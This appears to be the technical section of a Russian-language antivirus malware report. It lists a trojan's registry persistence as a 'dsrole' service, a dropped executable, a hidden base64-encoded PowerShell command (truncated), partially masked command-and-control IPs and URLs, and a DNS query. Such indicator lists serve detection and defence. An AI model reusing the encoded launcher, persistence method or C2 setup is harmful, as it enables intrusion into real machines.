Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\dsrole] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\dsrole] 'ImagePath' = '"%WINDIR%\SysWOW64\DfsShlEx\dsrole.exe"'
- 'dsrole' "%WINDIR%\SysWOW64\DfsShlEx\dsrole.exe"
- 'dsrole' %WINDIR%\SysWOW64\DfsShlEx\dsrole.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJAEIAVQBaAEEAcABrAHEAPQAnAFAAQgBXAEEAVwB3AHkAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBjAFUAUgBpAGAAVABZAFAAcgBvAHQAbwBDAGAAbwBMACIAIAA9AC...
- %HOMEPATH%\615.exe
- %HOMEPATH%\615.exe в %WINDIR%\syswow64\dfsshlex\dsrole.exe
- '20#.#35.10.215':80
- '19#.#7.203.63':8080
- '16#.#72.107.70':8080
- '17#.#05.78.244':8080
- '10#.#61.30.122':8080
- '20#.#53.216.182':7080
- '37.##.129.215':8080
- '20#.#14.108.231':80
- http://19#.##.203.63:8080/CPaK/ via 19#.#7.203.63
- http://16#.##2.107.70:8080/DAVZmwHjZ4jDF/qFPEVMRiNU8nubwg/fc5haNxBaLCa/yRIY4JyQU5k8/5XgRk1MmaXlqUnqYO/pgpvJC/ via 16#.#72.107.70
- http://20#.###.216.182:7080/pOm0YAcw/sH4C34gh/TjOawmfnfR3/XQ75DaqfSgC52dm6s/uuXSBIYQLEZKYwVF/ via 20#.#53.216.182
- DNS ASK de###yahci.com
- '%HOMEPATH%\615.exe'
- '%WINDIR%\syswow64\dfsshlex\dsrole.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJAEIAVQBaAEEAcABrAHEAPQAnAFAAQgBXAEEAVwB3AHkAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBjAFUAUgBpAGAAVABZAFAAcgBvAHQAbwBDAGAAbwBMACIAIAA9AC...' (со скрытым окном)